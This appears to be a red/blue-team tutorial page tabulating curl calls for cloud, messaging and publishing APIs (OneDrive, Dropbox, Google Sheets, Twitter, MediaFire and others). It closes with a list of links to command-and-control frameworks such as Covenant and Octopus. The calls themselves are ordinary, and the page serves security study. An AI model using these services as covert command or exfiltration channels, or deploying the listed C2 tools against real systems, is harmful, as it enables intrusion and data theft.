1	**List Files in Folder**	Retrieve a list of files in a specific OneDrive folder.	`curl -X GET 'https://graph.microsoft.com/v1.0/me/drive/root:/{folder-path}:/children' -H 'Authorization: Bearer {access-token}'`	`https://graph.microsoft.com/v1.0/me/drive/root:/{folder-path}:/children`	`GET https://graph.microsoft.com/v1.0/me/drive/root:/{folder-path}:/children`
2	**Upload File**	Upload a file to OneDrive.	`curl -X PUT 'https://graph.microsoft.com/v1.0/me/drive/root:/{folder-path}/{file-name}:/content' -H 'Authorization: Bearer {access-token}' -T '{file-path}'`	`https://graph.microsoft.com/v1.0/me/drive/root:/{folder-path}/{file-name}:/content`	`PUT https://graph.microsoft.com/v1.0/me/drive/root:/{folder-path}/{file-name}:/content`
3	**Download File**	Download a file from OneDrive.	`curl -X GET 'https://graph.microsoft.com/v1.0/me/drive/items/{item-id}/content' -H 'Authorization: Bearer {access-token}' -o '{local-file-path}'`	`https://graph.microsoft.com/v1.0/me/drive/items/{item-id}/content`	`GET https://graph.microsoft.com/v1.0/me/drive/items/{item-id}/content`
4	**Delete File**	Delete a file from OneDrive.	`curl -X DELETE 'https://graph.microsoft.com/v1.0/me/drive/items/{item-id}' -H 'Authorization: Bearer {access-token}'`	`https://graph.microsoft.com/v1.0/me/drive/items/{item-id}`	`DELETE https://graph.microsoft.com/v1.0/me/drive/items/{item-id}`
5	**Create Folder**	Create a new folder in OneDrive.	`curl -X POST 'https://graph.microsoft.com/v1.0/me/drive/root/children' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"name\": \"{folder-name}\", \"folder\": {}, \"@microsoft.graph.conflictBehavior\": \"rename\"}'`	`https://graph.microsoft.com/v1.0/me/drive/root/children`	`POST https://graph.microsoft.com/v1.0/me/drive/root/children`

Jabber/XMPP protocol

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	**Connect to Server**	Establish a connection with an XMPP server.	`xmpp.connect('server.com')`	N/A	N/A

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
2	**Authenticate**	Log in to the XMPP server with a username and password.	`xmpp.authenticate('username', 'password')`	N/A	N/A
3	**Send Message**	Send a message to another user.	`xmpp.sendMessage('recipient@server.com', 'Hello, world!')`	N/A	N/A
4	**Join Chat Room**	Join a multi-user chat room.	`xmpp.joinRoom('room@conference.server.com', 'nickname')`	N/A	N/A
5	**Receive Messages**	Listen for incoming messages.	`xmpp.onMessage((msg) => { console.log(msg); })`	N/A	N/A

Blog

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	**Retrieve Posts**	Get a list of recent blog posts.	`curl -X GET 'https://example.com/wp-json/wp/v2/posts'`	`https://example.com/wp-json/wp/v2/posts`	`GET https://example.com/wp-json/wp/v2/posts`
2	**Create Post**	Create a new blog post.	`curl -X POST 'https://example.com/wp-json/wp/v2/posts' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"title\":\"New Post Title\",\"content\":\"Post content here\",\"status\":\"publish\"}'`	`https://example.com/wp-json/wp/v2/posts`	`POST https://example.com/wp-json/wp/v2/posts`
3	**Update Post**	Update an existing blog post.	`curl -X POST 'https://example.com/wp-json/wp/v2/posts/{post-id}' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"title\":\"Updated Post Title\",\"content\":\"Updated content here\"}'`	`https://example.com/wp-json/wp/v2/posts/{post-id}`	`POST https://example.com/wp-json/wp/v2/posts/{post-id}`
4	**Delete Post**	Delete a blog post.	`curl -X DELETE 'https://example.com/wp-json/wp/v2/posts/{post-id}' -H 'Authorization: Bearer {access-token}'`	`https://example.com/wp-json/wp/v2/posts/{post-id}`	`DELETE https://example.com/wp-json/wp/v2/posts/{post-id}`
5	**Retrieve Comments**	Get comments from a specific post.	`curl -X GET 'https://example.com/wp-json/wp/v2/comments?post={post-id}'`	`https://example.com/wp-json/wp/v2/comments`	`GET https://example.com/wp-json/wp/v2/comments?post={post-id}`

Google Docs

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	**Read Document Content**	Retrieve the content of a Google Docs document.	`curl -X GET 'https://docs.googleapis.com/v1/documents/{documentId}' -H 'Authorization: Bearer {access-token}'`	`https://docs.googleapis.com/v1/documents/{documentId}`	`GET https://docs.googleapis.com/v1/documents/{documentId}`
2	**Create Document**	Create a new Google Docs document.	`curl -X POST 'https://docs.googleapis.com/v1/documents' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"title\": \"New Document\"}'`	`https://docs.googleapis.com/v1/documents`	`POST https://docs.googleapis.com/v1/documents`
3	**Insert Text**	Insert text into a Google Docs document.	`curl -X PATCH 'https://docs.googleapis.com/v1/documents/{documentId}:batchUpdate' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"requests\": [{\"insertText\": {\"location\": {\"index\": 1}, \"text\": \"Your text here\"}}]}'`	`https://docs.googleapis.com/v1/documents/{documentId}:batchUpdate`	`PATCH https://docs.googleapis.com/v1/documents/{documentId}:batchUpdate`
4	**Replace Text**	Replace text in a Google Docs document.	`curl -X PATCH 'https://docs.googleapis.com/v1/documents/{documentId}:batchUpdate' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"requests\": [{\"replaceAllText\": {\"containsText\": {\"text\": \"old text\"}, \"replaceText\": \"new text\"}}]}'`	`https://docs.googleapis.com/v1/documents/{documentId}:batchUpdate`	`PATCH https://docs.googleapis.com/v1/documents/{documentId}:batchUpdate`
5	**Delete Text**	Delete text from a Google Docs document.	`curl -X PATCH 'https://docs.googleapis.com/v1/documents/{documentId}:batchUpdate' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"requests\": [{\"deleteContentRange\": {\"range\": {\"startIndex\": 10, \"endIndex\": 20}}}]}'`	`https://docs.googleapis.com/v1/documents/{documentId}:batchUpdate`	`PATCH https://docs.googleapis.com/v1/documents/{documentId}:batchUpdate`

Google forms

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	**Read Form Responses**	Retrieve responses from a Google Form (responses are stored in a Google Sheet).	curl -X GET 'https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}' -H 'Authorization: Bearer {access-token}'	https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}	GET https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}
2	**Create Google Form**	Programmatically create a Google Form using Google Apps Script.	curl -X POST 'https://script.googleapis.com/v1/scripts/{scriptId}:run' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"function\": \"createForm\", \"parameters\": [\"Form Title\"]}'	https://script.googleapis.com/v1/scripts/{scriptId}:run	POST https://script.googleapis.com/v1/scripts/{scriptId}:run
3	**Add Question to Form**	Add a question to an existing Google Form using Google Apps Script.	curl -X POST 'https://script.googleapis.com/v1/scripts/{scriptId}:run' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"function\": \"addQuestion\", \"parameters\": [\"Form ID\", \"Question Title\"]}'	https://script.googleapis.com/v1/scripts/{scriptId}:run	POST https://script.googleapis.com/v1/scripts/{scriptId}:run
4	**Update Form Question**	Update a question in a Google Form using Google Apps Script.	curl -X POST 'https://script.googleapis.com/v1/scripts/{scriptId}:run' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"function\": \"updateQuestion\", \"parameters\": [\"Form ID\", \"Question ID\", \"New Question Title\"]}'	https://script.googleapis.com/v1/scripts/{scriptId}:run	POST https://script.googleapis.com/v1/scripts/{scriptId}:run
5	**Delete Form Question**	Delete a question from a Google Form using Google Apps Script.	curl -X POST 'https://script.googleapis.com/v1/scripts/{scriptId}:run' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"function\": \"deleteQuestion\", \"parameters\": [\"Form ID\", \"Question ID\"]}'	https://script.googleapis.com/v1/scripts/{scriptId}:run	POST https://script.googleapis.com/v1/scripts/{scriptId}:run

Google appscript

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	**Run Script Function**	Execute a function in an Apps Script project.	`curl -X POST 'https://script.googleapis.com/v1/scripts/{scriptId}:run' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"function\": \"functionName\", \"parameters\": [\"param1\", \"param2\"], \"devMode\": true}'`	`https://script.googleapis.com/v1/scripts/{scriptId}:run`	`POST https://script.googleapis.com/v1/scripts/{scriptId}:run`
2	**Create Script Project**	Create a new Apps Script project.	`curl -X POST 'https://script.googleapis.com/v1/projects' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"title\": \"New Project\"}'`	`https://script.googleapis.com/v1/projects`	`POST https://script.googleapis.com/v1/projects`
3	**Get Script Project Content**	Retrieve the content of an Apps Script project.	`curl -X GET 'https://script.googleapis.com/v1/projects/{scriptId}/content' -H 'Authorization: Bearer {access-token}'`	`https://script.googleapis.com/v1/projects/{scriptId}/content`	`GET https://script.googleapis.com/v1/projects/{scriptId}/content`
4	**Update Script Project**	Update the content of an Apps Script project.	`curl -X PUT 'https://script.googleapis.com/v1/projects/{scriptId}/content' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"files\": [{\"name\": \"hello\", \"type\": \"SERVER_JS\", \"source\": \"function hello() {\\n return 'Hello, world!';\\n}\"}]}'`	`https://script.googleapis.com/v1/projects/{scriptId}/content`	`PUT https://script.googleapis.com/v1/projects/{scriptId}/content`
5	**Deploy Script Project**	Create a deployment from an Apps Script project.	`curl -X POST 'https://script.googleapis.com/v1/projects/{scriptId}/deployments' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"versionNumber\": \"1\", \"manifestFileName\": \"appsscript\", \"description\": \"My Deployment\"}'`	`https://script.googleapis.com/v1/projects/{scriptId}/deployments`	`POST https://script.googleapis.com/v1/projects/{scriptId}/deployments`

Google sheet

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	**Read Spreadsheet Data**	Retrieve data from a specific range in a Google Sheet.	`curl -X GET 'https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}' -H 'Authorization: Bearer {access-token}'`	`https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}`	`GET https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}`
2	**Write Data to Spreadsheet**	Write data to a specific range in a Google Sheet.	`curl -X PUT 'https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}?valueInputOption=USER_ENTERED' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"values\": [[\"Value1\", \"Value2\"]]}'`	`https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}`	`PUT https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}`
3	**Append Data to Spreadsheet**	Append data to a specific range in a Google Sheet.	`curl -X POST 'https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}:append?valueInputOption=USER_ENTERED' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"values\": [[\"NewValue1\", \"NewValue2\"]]}'`	`https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}:append`	`POST https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}:append`
4	**Update Spreadsheet Properties**	Update properties of a Google Sheet.	`curl -X PUT 'https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"requests\": [{\"updateSpreadsheetProperties\": {\"properties\": {\"title\": \"New Title\"}, \"fields\": \"title\"}}]}'`	`https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}`	`PUT https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}`
5	**Create New Spreadsheet**	Create a new Google Sheet.	`curl -X POST 'https://sheets.googleapis.com/v4/spreadsheets' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"properties\": {\"title\": \"New Spreadsheet\"}}'`	`https://sheets.googleapis.com/v4/spreadsheets`	`POST https://sheets.googleapis.com/v4/spreadsheets`

Dropbox

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	**Upload File**	Upload a file to Dropbox.	`curl -X POST https://content.dropboxapi.com/2/files/upload --header "Authorization: Bearer {access-token}" --header "Dropbox-API-Arg: {\"path\": \"/path/to/destination/file\",\"mode\": \"add\",\"autorename\": true,\"mute\": false,\"strict_conflict\": false}" --header "Content-Type: application/octet-stream" --data-binary @/path/to/local/file`	`https://content.dropboxapi.com/2/files/upload`	`POST https://content.dropboxapi.com/2/files/upload`
2	**Download File**	Download a file from Dropbox.	`curl -X POST https://content.dropboxapi.com/2/files/download --header "Authorization: Bearer {access-token}" --header "Dropbox-API-Arg: {\"path\": \"/path/to/remote/file\"}" -o /path/to/local/file`	`https://content.dropboxapi.com/2/files/download`	`POST https://content.dropboxapi.com/2/files/download`
3	**List Folder Contents**	List files and folders in a specific Dropbox folder.	`curl -X POST https://api.dropboxapi.com/2/files/list_folder --header "Authorization: Bearer {access-token}" --header "Content-Type: application/json" --data "{\"path\": \"/path/to/folder\",\"recursive\": false,\"include_media_info\": false,\"include_deleted\": false,\"include_has_explicit_shared_members\": false}"`	`https://api.dropboxapi.com/2/files/list_folder`	`POST https://api.dropboxapi.com/2/files/list_folder`
4	**Create Folder**	Create a new folder in Dropbox.	`curl -X POST https://api.dropboxapi.com/2/files/create_folder_v2 --header "Authorization: Bearer {access-token}" --header "Content-Type: application/json" --data "{\"path\": \"/path/to/new/folder\",\"autorename\": false}"`	`https://api.dropboxapi.com/2/files/create_folder_v2`	`POST https://api.dropboxapi.com/2/files/create_folder_v2`
5	**Delete File or Folder**	Delete a file or folder in Dropbox.	`curl -X POST https://api.dropboxapi.com/2/files/delete_v2 --header "Authorization: Bearer {access-token}" --header "Content-Type: application/json" --data "{\"path\": \"/path/to/file/or/folder\"}"`	`https://api.dropboxapi.com/2/files/delete_v2`	`POST https://api.dropboxapi.com/2/files/delete_v2`

Twitter

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	**Post a Tweet**	Publish a tweet to a user’s timeline.	`curl -X POST 'https://api.twitter.com/1.1/statuses/update.json' -H 'Authorization: OAuth {oauth-header}' -d 'status=Hello%20World'`	`https://api.twitter.com/1.1/statuses/update.json`	`POST https://api.twitter.com/1.1/statuses/update.json`
2	**Read User Timeline**	Retrieve recent tweets from a user’s timeline.	`curl -X GET 'https://api.twitter.com/1.1/statuses/user_timeline.json?screen_name={username}&count=2' -H 'Authorization: OAuth {oauth-header}'`	`https://api.twitter.com/1.1/statuses/user_timeline.json`	`GET https://api.twitter.com/1.1/statuses/user_timeline.json`
3	**Stream Tweets**	Stream tweets in real-time based on certain criteria.	`curl -X GET 'https://api.twitter.com/1.1/statuses/filter.json?track=twitter' -H 'Authorization: OAuth {oauth-header}'`	`https://api.twitter.com/1.1/statuses/filter.json`	`GET https://api.twitter.com/1.1/statuses/filter.json`
4	**Search Tweets**	Search for tweets matching certain keywords.	`curl -X GET 'https://api.twitter.com/1.1/search/tweets.json?q=%23example' -H 'Authorization: OAuth {oauth-header}'`	`https://api.twitter.com/1.1/search/tweets.json`	`GET https://api.twitter.com/1.1/search/tweets.json`
5	**Delete a Tweet**	Delete a specific tweet from a user’s timeline.	`curl -X POST 'https://api.twitter.com/1.1/statuses/destroy/{id}.json' -H 'Authorization: OAuth {oauth-header}'`	`https://api.twitter.com/1.1/statuses/destroy/{id}.json`	`POST https://api.twitter.com/1.1/statuses/destroy/{id}.json`

Yandex

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	**Translate Text**	Use Yandex Translate to translate text.	`curl -X POST 'https://translate.yandex.net/api/v1.5/tr.json/translate' -d 'key={api-key}&text={text-to-translate}&lang=en-ru'`	`https://translate.yandex.net/api/v1.5/tr.json/translate`	`POST https://translate.yandex.net/api/v1.5/tr.json/translate`
2	**Geocode Location**	Convert addresses into geographic coordinates.	`curl -X GET 'https://geocode-maps.yandex.ru/1.x/?format=json&apikey={api-key}&geocode={address}'`	`https://geocode-maps.yandex.ru/1.x/`	`GET https://geocode-maps.yandex.ru/1.x/`
3	**Yandex Disk Upload**	Upload a file to Yandex Disk.	`curl -X GET 'https://cloud-api.yandex.net/v1/disk/resources/upload?path={file-path}' -H 'Authorization: OAuth {oauth-token}'`	`https://cloud-api.yandex.net/v1/disk/resources/upload`	`GET https://cloud-api.yandex.net/v1/disk/resources/upload`

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
4	**Yandex Disk Download**	Download a file from Yandex Disk.	`curl -X GET 'https://cloud-api.yandex.net/v1/disk/resources/download?path={file-path}' -H 'Authorization: OAuth {oauth-token}'`	`https://cloud-api.yandex.net/v1/disk/resources/download`	`GET https://cloud-api.yandex.net/v1/disk/resources/download`
5	**Yandex Speech Recognition**	Convert speech to text using Yandex SpeechKit.	`curl -X POST 'https://stt.api.cloud.yandex.net/speech/v1/stt:recognize' -H 'Authorization: Bearer {iam-token}' --data-binary @{audio-file-path}`	`https://stt.api.cloud.yandex.net/speech/v1/stt:recognize`	`POST https://stt.api.cloud.yandex.net/speech/v1/stt:recognize`

Mediafire

ID	Title	Description	Commands and Codes	API Endpoint	HTTP Requests
1	**User Authentication**	Authenticate a user and obtain a session token.	`curl -X POST 'https://www.mediafire.com/api/user/get_session_token.php' -d 'email={user-email}&password={user-password}&application_id={app-id}&signature={app-signature}'`	`https://www.mediafire.com/api/user/get_session_token.php`	`POST https://www.mediafire.com/api/user/get_session_token.php`
2	**Upload File**	Upload a file to MediaFire.	`curl -X POST 'https://www.mediafire.com/api/upload/upload.php' -H 'x-mf-session-token: {session-token}' -F 'file=@/path/to/file'`	`https://www.mediafire.com/api/upload/upload.php`	`POST https://www.mediafire.com/api/upload/upload.php`
3	**List Files**	List files in a user's account.	`curl -X GET 'https://www.mediafire.com/api/folder/get_content.php?folder_key={folder-key}&session_token={session-token}'`	`https://www.mediafire.com/api/folder/get_content.php`	`GET https://www.mediafire.com/api/folder/get_content.php`
4	**Download File**	Generate a link to download a file.	`curl -X GET 'https://www.mediafire.com/api/file/get_links.php?quick_key={file-quick-key}&session_token={session-token}'`	`https://www.mediafire.com/api/file/get_links.php`	`GET https://www.mediafire.com/api/file/get_links.php`
5	**Delete File**	Delete a file from MediaFire.	`curl -X POST 'https://www.mediafire.com/api/file/delete.php' -d 'quick_key={file-quick-key}&session_token={session-token}'`	`https://www.mediafire.com/api/file/delete.php`	`POST https://www.mediafire.com/api/file/delete.php`

rssfeed

ID	Title	Description	Commands and Codes	API Endpoint (RSS Feed URL)	HTTP Requests
1	**Retrieve RSS Feed**	Fetch the contents of an RSS feed.	`curl -X GET 'http://example.com/feed.xml'`	`http://example.com/feed.xml`	`GET http://example.com/feed.xml`
2	**Parse RSS Feed**	Parse the retrieved RSS feed content (using Python with `feedparser`).	`python -c "import feedparser; feed = feedparser.parse('http://example.com/feed.xml'); print(feed.entries)"`	`http://example.com/feed.xml`	N/A
3	**Filter RSS Feed**	Filter the RSS feed for specific items (using Python with `feedparser`).	`python -c "import feedparser; feed = feedparser.parse('http://example.com/feed.xml'); [print(entry.title) for entry in feed.entries if 'keyword' in entry.title]"`	`http://example.com/feed.xml`	N/A
4	**Automate RSS Fetching**	Set up a cron job to regularly fetch an RSS feed.	`0 * * * * curl -X GET 'http://example.com/feed.xml' -o /path/to/save/feed.xml`	`http://example.com/feed.xml`	`GET http://example.com/feed.xml`
5	**Convert RSS to JSON**	Convert RSS feed to JSON format for easier processing (using Python with `feedparser`).	`python -c "import feedparser, json; feed = feedparser.parse('http://example.com/feed.xml'); print(json.dumps(feed, indent=4))"`	`http://example.com/feed.xml`	N/A

Awesome C&C

https://github.com/tcostam/awesome-command-control

Framework

- https://github.com/postrequest/link
- https://github.com/p3nt4/Nuages
- https://github.com/facebookarchive/WEASEL
- https://github.com/mhaskar/Octopus
- https://github.com/cobbr/Covenant
- https://github.com/loseys/BlackMamba
- https://github.com/SitinCloud/Owlyshield

Rating: ★★★★⯪

10 Nov 2023

tutorial

#blue #red

[« Awesome Cobalt BoF(RTC0022)]

Share

comments powered by Disqus

Explore

tutorial (28) news (1) recipe (3)